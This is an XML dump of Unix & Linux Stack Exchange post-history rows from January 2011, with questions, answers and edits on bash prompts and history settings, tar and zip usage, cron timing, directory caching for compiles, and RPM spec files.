  <row Id="15077" PostHistoryTypeId="5" PostId="6580" RevisionGUID="68390067-fba3-4776-9836-aaa3b1d9a141" CreationDate="2011-01-28T11:29:07.110" UserId="3069" Comment="deleted 212 characters in body" Text="I recently starting using GNU screen via Byobu but I think the problem is related to screen.&#xD;&#xA;&#xD;&#xA;I first SSH into a server and then do a reverse search to run a commonly run command (dump a the database). I've redacted some of the text, but because  usually outputs `(reverse-i-search)`':` before the search, it pushed the line across the width of the terminal. &#xD;&#xA;&#xD;&#xA;![screenshot1][1] &#xD;&#xA;&#xD;&#xA;If I am happy with the search and accept the command, the rightmost text stays put. See below:&#xD;&#xA;&#xD;&#xA;![screenshot2][2]&#xD;&#xA;&#xD;&#xA;So, why is this &quot;garbage text&quot; staying in the window? It only happens in screen and only seems to happen for certain hosts that use my custom .bashrc formatting and don't have their own.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Ggjj6.png&#xD;&#xA;  [2]: http://i.imgur.com/lCMus.png" />
  <row Id="15079" PostHistoryTypeId="2" PostId="6581" RevisionGUID="d27fd41e-e1fd-4199-8a62-5e77093ec90f" CreationDate="2011-01-28T12:32:41.587" UserId="3169" Text="You are probably missing `\[` and `\]` in your `PS1`.  It needs to go around every non-printing escape sequence, e.g. the escape sequences used to color things blue and yellow.&#xD;&#xA;&#xD;&#xA;See the bash man page for details.  It's in the section titled &quot;Prompting&quot;." />
  <row Id="15080" PostHistoryTypeId="5" PostId="6581" RevisionGUID="27e03303-8904-47d1-af1a-30aa9abccf5e" CreationDate="2011-01-28T12:37:47.867" UserId="3169" Comment="added 157 characters in body" Text="You are probably missing `\[` and `\]` in your `PS1`.  It needs to go around every non-printing escape sequence, e.g. the escape sequences used to color things blue and yellow.&#xD;&#xA;&#xD;&#xA;See the bash man page for details.  It's in the section titled &quot;Prompting&quot;.&#xD;&#xA;&#xD;&#xA;It's also documented in the info docs under [Controlling the Prompt][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Printing-a-Prompt" />
  <row Id="15081" PostHistoryTypeId="2" PostId="6582" RevisionGUID="09af3e8f-c21b-4dbd-a7c9-94b540421371" CreationDate="2011-01-28T13:19:32.307" UserId="2349" Text="I am going to assume by &quot;my machine go into crashed state&quot; you mean that whatever task is taking up the display you are looking at has stopped responding.  (In general, when something crashes on Linux, only that thing crashes and everything else keeps running.  It's very rare that the entire machine comes to a halt.)&#xD;&#xA;&#xD;&#xA;When all else fails, I like to switch back to a standard terminal interface (text mode as opposed to GUI) by hitting CTRL+ALT+1.  This brings up a login prompt.  I then login, and enter the command &quot;top&quot; to see what is running.   The process at the top of the list is the one using the most CPU and usually the problem, so I kill it by pressing &quot;k&quot; and entering the process ID (the numbers on the left).  I then go back to the GUI by pressing CTRL+ALT+7  (or sometimes CTRL+ALT+8, one of those two will work, but it might change).  If things are now working, I continue on, if not, I'll try again or may just force a reboot." />
  <row Id="15082" PostHistoryTypeId="2" PostId="6583" RevisionGUID="e4b08d07-a71f-4763-beb2-251756bc6599" CreationDate="2011-01-28T13:21:53.173" UserId="3976" Text="If you're running a sendmail with smrsh set up (common in a lot of default configurations) you will need to run the piped command out of /etc/smrsh/.  It can either be a symlink or a copy of the script, but if sendmail has 'smrsh' defined, it will need to be run from that directory.  For example:&#xD;&#xA;&#xD;&#xA;    subscribe: | /etc/smrsh/parse-subscribe.pl&#xD;&#xA;&#xD;&#xA;Check the sendmail documentation on smrsh for more details." />
  <row Id="15083" PostHistoryTypeId="2" PostId="6584" RevisionGUID="5439c33f-086d-4f15-8538-acecfa6afcf4" CreationDate="2011-01-28T13:29:03.933" UserId="2180" Text="It looks like the wireless device is recognized and the driver is working, otherwise we would not see wlan0 in the list given by iwconfig.&#xD;&#xA;&#xD;&#xA;First, look to see if your system has a switch or a function-key for turning off wireless, and make sure it's not activated.&#xD;&#xA;&#xD;&#xA;After that, check the Network Manager applet; this is an icon in your notification area. If you haven't changed your Ubuntu setup, it should be in the upper-right and look like either an up/down arrow or radio waves (concentric arcs). If you click it, it should show a list of networks, including your wired ethernet and any wifi access points in the area. If it shows the list, connecting should be as simple as clicking on the your access point and typing in the passphrase.&#xD;&#xA;&#xD;&#xA;If there is no access point list in Network Manager, run `iwlist wlan0 scan`; it should show a list of access points in your area. If it does show a list of access points, then there is something wrong with Network Manager, and more work is required to either fix Network Manager or get an alternative to Network Manager.&#xD;&#xA;&#xD;&#xA;If it doesn't show the list, it would seem that the driver isn't working completely right, and there will be more work to figure out what's wrong." />
  <row Id="15084" PostHistoryTypeId="5" PostId="6584" RevisionGUID="61ae8344-21a8-4948-a880-84a4d92f6039" CreationDate="2011-01-28T13:36:41.070" UserId="2180" Comment="Add link to relevant article." Text="It looks like the wireless device is recognized and the driver is working, otherwise we would not see wlan0 in the list given by iwconfig.&#xD;&#xA;&#xD;&#xA;First, look to see if your system has a switch or a function-key for turning off wireless, and make sure it's not activated.&#xD;&#xA;&#xD;&#xA;After that, check the Network Manager applet; this is an icon in your notification area. If you haven't changed your Ubuntu setup, it should be in the upper-right and look like either an up/down arrow or radio waves (concentric arcs). If you click it, it should show a list of networks, including your wired ethernet and any wifi access points in the area. If it shows the list, connecting should be as simple as clicking on the your access point and typing in the passphrase. [Here is a good article][1] that shows the Network Manager icon and describes this process.&#xD;&#xA;&#xD;&#xA;If there is no access point list in Network Manager, run `iwlist wlan0 scan`; it should show a list of access points in your area. If it does show a list of access points, then there is something wrong with Network Manager, and more work is required to either fix Network Manager or get an alternative to Network Manager.&#xD;&#xA;&#xD;&#xA;If it doesn't show the list, it would seem that the driver isn't working completely right, and there will be more work to figure out what's wrong.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.techotopia.com/index.php/Configuring_Ubuntu_10.x_Wireless_Networking" />
  <row Id="15085" PostHistoryTypeId="2" PostId="6585" RevisionGUID="271c2234-cc1e-4f25-b11f-bca8275b0079" CreationDate="2011-01-28T14:01:23.577" UserId="688" Text="Let's say I type the following sequence of commands:&#xD;&#xA;&#xD;&#xA;    $ cd&#xD;&#xA;    $ ls&#xD;&#xA;    $ ls&#xD;&#xA;&#xD;&#xA;When I go back in history by pressing &lt;kbd&gt;up&lt;/kbd&gt; twice, I end up with `cd`, instead of `ls`.&#xD;&#xA;&#xD;&#xA;I've noticed this isn't always the case, so it likely is some bash setting somewhere. Which is it?" />
  <row Id="15086" PostHistoryTypeId="1" PostId="6585" RevisionGUID="271c2234-cc1e-4f25-b11f-bca8275b0079" CreationDate="2011-01-28T14:01:23.577" UserId="688" Text="Where is the setting that disallows duplicate command history?" />
  <row Id="15087" PostHistoryTypeId="3" PostId="6585" RevisionGUID="271c2234-cc1e-4f25-b11f-bca8275b0079" CreationDate="2011-01-28T14:01:23.577" UserId="688" Text="ébashà" />
  <row Id="15090" PostHistoryTypeId="2" PostId="6588" RevisionGUID="c27183c1-24b3-4d18-adef-b92602bfcf87" CreationDate="2011-01-28T14:11:21.760" UserId="3886" Text="`HISCONTROL=ignoredups`&#xD;&#xA;http://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html#Bash-Variables" />
  <row Id="15091" PostHistoryTypeId="2" PostId="6589" RevisionGUID="cef04c10-64ab-4ae6-9fb5-2b0f57345115" CreationDate="2011-01-28T14:12:00.003" UserId="31" Text="The is controled by the `HISTCONTROL` variable.  If is contains `ignoredups`, then duplicate commands will not be saved in the history.  Without this string, they will be saved.  This would be normally set in `.profile` or `.bashrc`, using something like&#xD;&#xA;&#xD;&#xA;    export HISTCONTROL=ignoredups&#xD;&#xA;&#xD;&#xA;Other values that can be used in HISTCONTROL (multiple can be used, seperated by `:`&#xD;&#xA;&#xD;&#xA; - _ignorespace_ any commands starting with a space are not added to the history&#xD;&#xA; - _erasedups_ duplicate commands are erased from the history, so the history only contains the latest command&#xD;&#xA;- _ignoreboth_ identical to `ignoredups:ignorespace` " />
  <row Id="15092" PostHistoryTypeId="6" PostId="6585" RevisionGUID="5730ce08-5e8b-4c95-bf2a-cda225786028" CreationDate="2011-01-28T14:12:42.727" UserId="3069" Comment="edited tags" Text="ébashàécommandöhistoryà" />
  <row Id="15093" PostHistoryTypeId="25" PostId="6585" RevisionGUID="0d6986c2-66f7-4321-8435-e73b6c77dba7" CreationDate="2011-01-28T14:15:59.117" Comment="http://twitter.com/#!/StackUnix/status/30992485241061376" />
  <row Id="15095" PostHistoryTypeId="2" PostId="6590" RevisionGUID="aff9a92f-3e79-41be-9445-6179debf512c" CreationDate="2011-01-28T14:22:15.453" UserId="3227" Text="You can also use xbindkeys and define a binding to pop up top, htop, *top, gnome-system-monitor, etc. Switching to a TTY ([jwernerny's answer][1]) is probably the &#xD;&#xA;best idea if your system or X server is acting up.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/6575/task-manager-keyboard-short-cut-in-linux/6582#6582" />
  <row Id="15096" PostHistoryTypeId="5" PostId="6589" RevisionGUID="7df2ebe4-ddbc-4472-8bd9-f25519c37989" CreationDate="2011-01-28T14:28:17.657" UserId="31" Comment="added 1 characters in body" Text="The is controled by the `HISTCONTROL` variable.  If is contains `ignoredups`, then duplicate commands will not be saved in the history.  Without this string, they will be saved.  This would be normally set in `.profile` or `.bashrc`, using something like&#xD;&#xA;&#xD;&#xA;    export HISTCONTROL=ignoredups&#xD;&#xA;&#xD;&#xA;Other values that can be used in HISTCONTROL (multiple can be used, seperated by `:`&#xD;&#xA;&#xD;&#xA; - _ignorespace_ any commands starting with a space are not added to the history&#xD;&#xA; - _erasedups_ duplicate commands are erased from the history, so the history only contains the latest command&#xD;&#xA; - _ignoreboth_ identical to `ignoredups:ignorespace` " />
  <row Id="15097" PostHistoryTypeId="2" PostId="6591" RevisionGUID="402926b2-781c-4597-962a-21585d0f0728" CreationDate="2011-01-28T14:46:10.420" UserId="4057" Text="How about using 'find'. I think this is generally a good choice, when you have to dig through sub-directories.&#xD;&#xA;&#xD;&#xA;find . -type f -exec rm {} \;" />
  <row Id="15098" PostHistoryTypeId="5" PostId="6591" RevisionGUID="f06c41f3-f725-4545-9a4c-9e50496b8ea7" CreationDate="2011-01-28T14:50:21.293" UserId="3069" Comment="added 4 characters in body" Text="How about using `find`. I think this is generally a good choice, when you have to dig through sub-directories.&#xD;&#xA;&#xD;&#xA;    find . -type f -exec rm {} \;" />
  <row Id="15099" PostHistoryTypeId="6" PostId="6562" RevisionGUID="4554d2cf-e46f-4486-8b56-af59273ff5c9" CreationDate="2011-01-28T14:55:44.293" UserId="3069" Comment="edited tags" Text="éinstallàécentosàéyumàégità" />
  <row Id="15100" PostHistoryTypeId="2" PostId="6592" RevisionGUID="70892884-05b8-47fd-8b58-1c3e20a96e18" CreationDate="2011-01-28T15:01:12.330" UserId="2511" Text="Your basic problem here is that you're mixing the RPMforge and EPEL add-on repos. As you see, they're not always compatible. Pick one and use that." />
  <row Id="15101" PostHistoryTypeId="2" PostId="6593" RevisionGUID="4d3a10ba-9ee7-4d68-8575-678e2f76119a" CreationDate="2011-01-28T15:10:35.687" UserId="4283" Text="I've been testing out different methods to improve the time it takes to compile my entire c++ project.  Currently it takes ~5 minutes.  I experimented with distcc, ccache, and others.  Recently, I discovered that if I copy my entire project onto a RAM-drive, and then compile from there, it cuts the compile time down to 30% of its original-- just 1.5 minutes.&#xD;&#xA;&#xD;&#xA;Obviously, working from the RAM drive isn't practical.  So, does anyone know of a way I can **force the OS to always keep a certain directory cached**?  I still want the directory to get synced back to disk like normal, but I always want a copy of the data in memory as well.  Is this possible?" />
  <row Id="15102" PostHistoryTypeId="1" PostId="6593" RevisionGUID="4d3a10ba-9ee7-4d68-8575-678e2f76119a" CreationDate="2011-01-28T15:10:35.687" UserId="4283" Text="Force directory to always be in cache" />
  <row Id="15103" PostHistoryTypeId="3" PostId="6593" RevisionGUID="4d3a10ba-9ee7-4d68-8575-678e2f76119a" CreationDate="2011-01-28T15:10:35.687" UserId="4283" Text="élinuxàéubuntuàéperformanceàécompilingà" />
  <row Id="15104" PostHistoryTypeId="2" PostId="6594" RevisionGUID="ddade74d-35d5-4904-936b-6eb27904f5cc" CreationDate="2011-01-28T15:21:01.817" UserId="4285" Text="Restarting nautilus may work.  It should respawn automatically when killed.  Get its PID:&#xD;&#xA;&#xD;&#xA;    #pgrep nautilus&#xD;&#xA;    4020&#xD;&#xA;&#xD;&#xA;Kill it:&#xD;&#xA;&#xD;&#xA;    #kill -9 4020&#xD;&#xA;&#xD;&#xA;Nautilus will immediately respawn, hopefully with your icons showing.&#xD;&#xA;" />
  <row Id="15105" PostHistoryTypeId="5" PostId="3328" RevisionGUID="3d12f002-4747-4bb9-933d-5f9fe45528a6" CreationDate="2011-01-28T15:37:41.993" UserId="1974" Comment="Cleaned up the grammar and capitalization" Text="On my Ubuntu 10.10 system, after configuring an external CRT to clone my desktop over S-Video, I've lost my desktop icon and right clicking on it does not show the menu or the menu bar.&#xD;&#xA;&#xD;&#xA;I've tried to resolve this with following commands:&#xD;&#xA;&#xD;&#xA;    sudo apt-get install ubuntu-desktop&#xD;&#xA;    sudo apt-get install gnome-panel&#xD;&#xA;    sudo chown -R $ USER: $ USER /Scrivania&#xD;&#xA;&#xD;&#xA;Using the following sequence of commands I've gotten the main menu back, but nothing I have found so far will get back my desktop:&#xD;&#xA;&#xD;&#xA;    mkdir ~/.oldpanel&#xD;&#xA;    mv ~/.gconf/apps/panel ~/.oldpanel&#xD;&#xA;    gconftool-2 --shutdown&#xD;&#xA;    pkill gnome-panel&#xD;&#xA;    sudo apt-get install --reinstall ubuntu-desktop&#xD;&#xA;&#xD;&#xA;Have you any idea how to resolve my problem? Thanks in advance.&#xD;&#xA;" />
  <row Id="15106" PostHistoryTypeId="4" PostId="3328" RevisionGUID="3d12f002-4747-4bb9-933d-5f9fe45528a6" CreationDate="2011-01-28T15:37:41.993" UserId="1974" Comment="Cleaned up the grammar and capitalization" Text="Ubuntu Desktop lost" />
  <row Id="15107" PostHistoryTypeId="24" PostId="3328" RevisionGUID="ee609046-a228-485a-ad12-cc92e7ddbd82" CreationDate="2011-01-28T15:37:41.993" Comment="Proposed by 1974 approved by 73 edit id of 1" />
  <row Id="15108" PostHistoryTypeId="5" PostId="6572" RevisionGUID="a88ad877-ccc6-4655-8be1-460cec391654" CreationDate="2011-01-28T15:37:48.563" UserId="1974" Comment="Corrected capitalization and other slight changes" Text="I have only a very basic idea about linux system programming. I have not done any real projects using linux system programming. In my current company I do system admin type work, but I am more interested in Linux System Programming. I want to do some projects on my own, so that I could put those projects in my resume when I apply for jobs at another companies. Kindly tell me the whether there is any projects where I could learn more linux system programming by doing some real programming stuff.&#xD;&#xA;&#xD;&#xA;Please note that I only have experience in C programming and not in Linux System Programming. But I know very basic things about linux system programming.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="15109" PostHistoryTypeId="24" PostId="6572" RevisionGUID="bcbf02d8-7ab7-4d79-950c-00c8541e51d2" CreationDate="2011-01-28T15:37:48.563" Comment="Proposed by 1974 approved by 73 edit id of 2" />
  <row Id="15110" PostHistoryTypeId="5" PostId="6589" RevisionGUID="e9cc9188-b300-447e-8488-b09be485f3a5" CreationDate="2011-01-28T16:04:25.693" UserId="31" Comment="fix spelling" Text="The is controlled by the `HISTCONTROL` variable.  If is contains `ignoredups`, then duplicate commands will not be saved in the history.  Without this string, they will be saved.  This would be normally set in `.profile` or `.bashrc`, using something like&#xD;&#xA;&#xD;&#xA;    export HISTCONTROL=ignoredups&#xD;&#xA;&#xD;&#xA;Other values that can be used in HISTCONTROL (multiple can be used, separated by `:`)&#xD;&#xA;&#xD;&#xA; - _ignorespace_ any commands starting with a space are not added to the history&#xD;&#xA; - _erasedups_ duplicate commands are erased from the history, so the history only contains the latest command&#xD;&#xA; - _ignoreboth_ identical to `ignoredups:ignorespace` " />
  <row Id="15111" PostHistoryTypeId="5" PostId="4473" RevisionGUID="f295e3bd-b88b-4cd0-b510-11886c407b10" CreationDate="2011-01-28T16:06:29.363" UserId="-1" Comment="Added kbd tags and capitalized SFTP" Text=" 1. SFTP as normal&#xD;&#xA; 2. &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;z&lt;/kbd&gt;&#xD;&#xA; 3. `nohup -ga $(pgrep sftp) item`&#xD;&#xA;" />
  <row Id="15112" PostHistoryTypeId="24" PostId="4473" RevisionGUID="29c843c8-8983-483a-bd1e-c98dd835419a" CreationDate="2011-01-28T16:06:29.363" Comment="Proposed by 98.223.228.45|556d4f47-af08-4e76-8f75-aea73b693ebb approved by 688 edit id of 3" />
  <row Id="15113" PostHistoryTypeId="5" PostId="6593" RevisionGUID="12ab072e-a130-44e1-8941-c1ed3709ce84" CreationDate="2011-01-28T16:08:47.667" UserId="4283" Comment="added new solution considered" Text="I've been testing out different methods to improve the time it takes to compile my entire c++ project.  Currently it takes ~5 minutes.  I experimented with distcc, ccache, and others.  Recently, I discovered that if I copy my entire project onto a RAM-drive, and then compile from there, it cuts the compile time down to 30% of its original-- just 1.5 minutes.&#xD;&#xA;&#xD;&#xA;Obviously, working from the RAM drive isn't practical.  So, does anyone know of a way I can **force the OS to always keep a certain directory cached**?  I still want the directory to get synced back to disk like normal, but I always want a copy of the data in memory as well.  Is this possible?&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;As a possible solution, we just thought of launching a daemon that runs `rsync` every 10 seconds or so to sync the RAM drive with a disk-backed directory.  The OS can takeover from there.  The `rsync` is blazing fast, but would this really work?" />
  <row Id="15114" PostHistoryTypeId="5" PostId="6433" RevisionGUID="f3666299-3566-42af-92fe-2996139378bd" CreationDate="2011-01-28T16:09:26.647" UserId="73" Comment="deleted 4 characters in body" Text="Were I root, I could simply create a dummy user/group, set file permissions accordingly and execute the process as that user. However I am not, so is there any way to achieve this without being root?" />
  <row Id="15115" PostHistoryTypeId="5" PostId="6593" RevisionGUID="b5d39b44-21f0-42f6-8511-677cb577190d" CreationDate="2011-01-28T16:13:48.110" UserId="4283" Comment="added 35 characters in body" Text="I've been testing out different methods to improve the time it takes to compile my entire c++ project.  Currently it takes ~5 minutes.  I experimented with distcc, ccache, and others.  Recently, I discovered that if I copy my entire project onto a RAM-drive, and then compile from there, it cuts the compile time down to 30% of its original-- just 1.5 minutes.&#xD;&#xA;&#xD;&#xA;Obviously, working from the RAM drive isn't practical.  So, does anyone know of a way I can **force the OS to always keep a certain directory cached**?  I still want the directory to get synced back to disk like normal, but I always want a copy of the data in memory as well.  Is this possible?&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;As a possible solution, we just thought of launching a daemon that runs `rsync` every 10 seconds or so to sync the RAM drive with a disk-backed directory.  The OS can takeover from there.  The `rsync` is blazing fast, but would this really work?  Surely the OS could do better...." />
  <row Id="15116" PostHistoryTypeId="2" PostId="6595" RevisionGUID="64e17e7b-b22f-467c-8919-24a1c4cc3883" CreationDate="2011-01-28T16:13:59.170" UserId="394" Text="I have a cron job that's managed through plesk. I'm being told that it's being executed twice in a day, once at 5AM and once at 5PM, based on the email that's being received. &#xD;&#xA;&#xD;&#xA;Here's the cron line:&#xD;&#xA;&#xD;&#xA;    0	4	*	*	*	wget http://website.com/script.php&#xD;&#xA;&#xD;&#xA;So obviously there's a daylight-savings issue; that's not a problem. But why is it running twice? I thought that the hour specifier was a 24-hour denomination. But it seems to be running at both 4am and 4pm server time. &#xD;&#xA;&#xD;&#xA;Please note that I'm managing the cron job though a Plesk web admin panel. I did some googling, but I couldn't find anything about Plesk cron bugs or issues.&#xD;&#xA;&#xD;&#xA;What is going on here?" />
  <row Id="15117" PostHistoryTypeId="1" PostId="6595" RevisionGUID="64e17e7b-b22f-467c-8919-24a1c4cc3883" CreationDate="2011-01-28T16:13:59.170" UserId="394" Text="Cron with a 12-hour issue?" />
  <row Id="15118" PostHistoryTypeId="3" PostId="6595" RevisionGUID="64e17e7b-b22f-467c-8919-24a1c4cc3883" CreationDate="2011-01-28T16:13:59.170" UserId="394" Text="écronà" />
  <row Id="15120" PostHistoryTypeId="5" PostId="6582" RevisionGUID="d9d8800c-614a-4eea-a6fb-a3412966eed4" CreationDate="2011-01-28T16:27:22.263" UserId="688" Comment="nicer formatting; corrections" Text="I am going to assume by &quot;my machine go into crashed state&quot; you mean that whatever task is taking up the display you are looking at has stopped responding.  (In general, when something crashes on Linux, only that thing crashes and everything else keeps running.  It's very rare that the entire machine comes to a halt.)&#xD;&#xA;&#xD;&#xA;When all else fails, I like to switch back to a standard terminal interface (text mode as opposed to GUI) by hitting &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;.  This brings up a login prompt.  I then login, and enter the command `top` to see what is running.   The process at the top of the list is the one using the most CPU and usually the problem, so I kill it by pressing &lt;kbd&gt;k&lt;/kbd&gt;, and entering the process ID (the numbers on the left).  I then go back to the GUI by pressing &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt;  (or sometimes &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F8&lt;/kbd&gt;, one of those two will work, but it might change).  If things are now working, I continue on, if not, I'll try again or may just force a reboot." />
  <row Id="15121" PostHistoryTypeId="17" PostId="6597" RevisionGUID="043b7000-3cf5-485d-be05-5680839fc05c" CreationDate="2011-01-28T16:37:57.900" UserId="-1" Comment="from http://stackoverflow.com/questions/4830205/how-do-i-zip-unzip-on-the-unix-commandline/4830255#4830255" Text="" />
  <row Id="15122" PostHistoryTypeId="17" PostId="6598" RevisionGUID="982898b8-f3ca-43d6-acbc-2a99c337afb5" CreationDate="2011-01-28T16:37:57.900" UserId="-1" Comment="from http://stackoverflow.com/questions/4830205/how-do-i-zip-unzip-on-the-unix-commandline/4830304#4830304" Text="" />
  <row Id="15123" PostHistoryTypeId="2" PostId="6597" RevisionGUID="c92f4d65-1e37-4783-8f64-64bce2919508" CreationDate="2011-01-28T15:57:55.280" UserDisplayName="paxdiablo" Text="You can zip files up with:&#xD;&#xA;&#xD;&#xA;    tar -zcvf myfile.tgz .&#xD;&#xA;which will do the current directory. Replace `.` with other file names if you want something else.&#xD;&#xA;&#xD;&#xA;To unzip that file, use:&#xD;&#xA;&#xD;&#xA;    tar -zxvf myfile.tgz&#xD;&#xA;&#xD;&#xA;That's assuming of course that you have a `tar` capable of doing the compression as well as combining of files into one.&#xD;&#xA;&#xD;&#xA;If not, you can just use `tar cvf` followed by `gzip` (again, if avaialable) for compression and `gunzip` followed by ` tar xvf`.&#xD;&#xA;" />
  <row Id="15124" PostHistoryTypeId="2" PostId="6598" RevisionGUID="de9a5b9b-8307-44fd-b0b4-6ccc1a69a1f4" CreationDate="2011-01-28T16:01:24.077" UserDisplayName="ScottC" Text="here (for anyone wondering) are the meaning of the flags in his commands&#xD;&#xA;&#xD;&#xA;c Create a new archive.&lt;br&gt;&#xD;&#xA;t List the contents of an archive.&lt;br&gt;&#xD;&#xA;x Extract the contents of an archive.&lt;br&gt;&#xD;&#xA;f The archive file name is given on the command line (required whenever the tar output is going to a file)&lt;br&gt;&#xD;&#xA;M The archive can span multiple floppies.&lt;br&gt;&#xD;&#xA;v Print verbose output (list file names as they are processed).&lt;br&gt;&#xD;&#xA;u Add files to the archive if they are newer than the copy in the tar file.&lt;br&gt;&#xD;&#xA;z Compress or decompress files automatically.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;source: [Tar - Linux Commands ][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lowfatlinux.com/linux-tar.html" />
  <row Id="15125" PostHistoryTypeId="2" PostId="6596" RevisionGUID="6e033eeb-a88b-49d0-9c67-597abe7b146f" CreationDate="2011-01-28T15:52:56.213" UserDisplayName="joachim" Text="I know the answer to this one but I always forget it and I'd like to be able to find it quickly when I need to ;)&#xD;&#xA;&#xD;&#xA;Zipping and unzipping on the Unix / Linux commandline is an absolute pain comparable to stabbing forks into one's eyes, but mentioning the subject again will help this page be easily findable I hope :)&#xD;&#xA;&#xD;&#xA;So, how do you do it?&#xD;&#xA;" />
  <row Id="15126" PostHistoryTypeId="1" PostId="6596" RevisionGUID="6e033eeb-a88b-49d0-9c67-597abe7b146f" CreationDate="2011-01-28T15:52:56.213" UserDisplayName="joachim" Text="how do I zip/unzip on the unix commandline?" />
  <row Id="15127" PostHistoryTypeId="3" PostId="6596" RevisionGUID="6e033eeb-a88b-49d0-9c67-597abe7b146f" CreationDate="2011-01-28T15:52:56.213" UserDisplayName="joachim" Text="écommandölineàézipà" />
  <row Id="15128" PostHistoryTypeId="17" PostId="6596" RevisionGUID="5bb03545-3ace-44ac-9d3a-9c5a7351e1b8" CreationDate="2011-01-28T16:37:57.900" UserId="-1" Comment="from http://stackoverflow.com/questions/4830205/how-do-i-zip-unzip-on-the-unix-commandline" Text="" />
  <row Id="15129" PostHistoryTypeId="5" PostId="6593" RevisionGUID="8b3fbdff-8594-41a1-868c-20a1fcf18dc9" CreationDate="2011-01-28T16:39:23.777" UserId="4283" Comment="added 5 characters in body" Text="I've been testing out different methods to improve the time it takes to compile my entire c++ project.  Currently it takes ~5 minutes.  I experimented with distcc, ccache, and others.  Recently, I discovered that if I copy my entire project onto a RAM-drive, and then compile from there, it cuts the compile time down to 30% of its original-- just 1.5 minutes.&#xD;&#xA;&#xD;&#xA;Obviously, working from the RAM drive isn't practical.  So, does anyone know of a way I can **force the OS to always keep a certain directory cached**?  I still want the directory to get synced back to disk like normal, but I always want a copy of the data in memory as well.  Is this possible?&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;As a possible solution, we just thought of launching a daemon that runs `rsync` every 10 seconds or so to sync the disk drive with a RAM drive.  Then we run the compilation from the RAM drive.  The `rsync` is blazing fast, but would this really work?  Surely the OS could do better...." />
  <row Id="15130" PostHistoryTypeId="2" PostId="6599" RevisionGUID="4ba652da-aa28-4ca1-b976-835ef818508d" CreationDate="2011-01-28T16:51:49.473" UserId="3635" Text="Typically one uses `tar` to create an uncompressed archive and either `gzip` or `bzip2` to compress that archive. The corresponding `gunzip` and `bunzip2` commands can be used to uncompress said archive, or you can just use flags on the `tar` command to perform the uncompression.&#xD;&#xA;&#xD;&#xA;If you are referring specifically to the zip file format, you can simply use the `zip` and `unzip` commands.&#xD;&#xA;&#xD;&#xA;To compress:&#xD;&#xA;&gt; zip squash.zip file1 file2 file3&#xD;&#xA;&#xD;&#xA;To uncompress:&#xD;&#xA;&gt;unzip squash.zip" />
  <row Id="15131" PostHistoryTypeId="2" PostId="6600" RevisionGUID="d18da1b5-1e27-43ab-94b7-b2ae04a1b1e0" CreationDate="2011-01-28T16:57:33.290" UserId="3886" Text="Forcing cache isn't the right way to do this. Better to keep sources on hard drive and compile them on tmpfs. Many build systems, such as qmake and CMake, supports out-of-source builds." />
  <row Id="15132" PostHistoryTypeId="25" PostId="6593" RevisionGUID="b673491f-5e64-4f15-a14a-b11be5637fa1" CreationDate="2011-01-28T17:15:59.117" Comment="http://twitter.com/#!/StackUnix/status/31037783694901248" />
  <row Id="15133" PostHistoryTypeId="2" PostId="6601" RevisionGUID="62865fef-2298-470f-9a62-75d100c8c147" CreationDate="2011-01-28T17:17:57.290" UserId="4290" Text="I have a spec file which unpacks a library which is deployed at location which is exported in the shell.&#xD;&#xA;&#xD;&#xA;ie &#xD;&#xA;&#xD;&#xA;    %file&#xD;&#xA;    ${AXIS2_C}/bin/services/services.xml&#xD;&#xA;&#xD;&#xA;This fails with : &#xD;&#xA;&#xD;&#xA;    error: File not found: root/rpmbuild/BUILDROOT/i386/${AXIS2_C}/bin/services/services.xml&#xD;&#xA;&#xD;&#xA;I.e the shell variable does not get expanded. Is there any way around this ?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="15134" PostHistoryTypeId="1" PostId="6601" RevisionGUID="62865fef-2298-470f-9a62-75d100c8c147" CreationDate="2011-01-28T17:17:57.290" UserId="4290" Text="SPEC %files attribute and Shell variables" />
  <row Id="15135" PostHistoryTypeId="3" PostId="6601" RevisionGUID="62865fef-2298-470f-9a62-75d100c8c147" CreationDate="2011-01-28T17:17:57.290" UserId="4290" Text="élinuxàéfedoraàérhelàérpmà" />
  <row Id="15136" PostHistoryTypeId="2" PostId="6602" RevisionGUID="9ada1a60-ddac-4bcd-8ffb-3800f4e1fe53" CreationDate="2011-01-28T17:26:03.770" UserId="3069" Text="I think this should be:&#xD;&#xA;&#xD;&#xA;    %file&#xD;&#xA;    %{AXIS2_C}/bin/services/services.xml&#xD;&#xA;" />
  <row Id="15137" PostHistoryTypeId="12" PostId="6602" RevisionGUID="792a1081-d650-41a6-9245-518aa9886918" CreationDate="2011-01-28T17:28:17.387" UserId="3069" Text="[{&quot;Id&quot;:3069,&quot;DisplayName&quot;:&quot;wag&quot;}]" />
  <row Id="15138" PostHistoryTypeId="13" PostId="6602" RevisionGUID="a2acd262-073a-4dee-aec2-efca634bce8a" CreationDate="2011-01-28T17:28:20.443" UserId="3069" Text="[{&quot;Id&quot;:3069,&quot;DisplayName&quot;:&quot;wag&quot;}]" />
